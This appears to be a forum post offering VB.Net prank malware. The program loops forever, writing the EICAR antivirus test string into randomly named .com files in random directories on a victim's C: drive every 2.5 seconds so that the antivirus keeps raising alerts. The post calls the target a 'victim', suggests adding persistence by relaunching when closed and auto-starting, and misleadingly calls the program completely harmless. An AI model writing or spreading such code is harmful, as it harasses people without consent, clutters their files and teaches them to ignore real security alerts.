What it does actually??
Uses loops and get directory to get a random directory in C: drive.
Puts a EICAR ANTIVIRUS TEST FILE(see below) in that location with a random file name.
And lol The AV ShOUTS!
This one happens every 2.5 seconds and the victim gets Frustrated and shouts out "Oh My god!"
ABOUT EICAR FILE:
The eicar file is one which contains "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" and is exactly 68 or 69 bytes.
It was invented to test antiviruses ie. whether they detect it at realtime.
Any AntiVirus should definitely detect it to be accepted.
VB.Net CODE:
Quote: Dim objRandom As New Random(Now.Millisecond)
Dim directory As String
Dim c As Integer
Try
While True
directory = "C:\"
c = My.Computer.FileSystem.GetDirectories(directory).Count
While objRandom.Next(0, 2) = 1
If c > 0 Then
directory = My.Computer.FileSystem.GetDirectories(directory)(objRandom.Next(0, c))
c = My.Computer.FileSystem.GetDirectories(directory).Count
Else
GoTo Create_EICAR
End If
End While
Create_EICAR:
My.Computer.FileSystem.WriteAllBytes(directory & "\" & Rnd() & ".com", System.Text.Encoding.Default.GetBytes("X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"), False)
Threading.Thread.Sleep(2500)
End While
Catch ex As Exception
End Try
How to Make it worse?
Make the program to open again when closed
Make it auto start.
This Program is Completely Harmless and does not cause any Loss
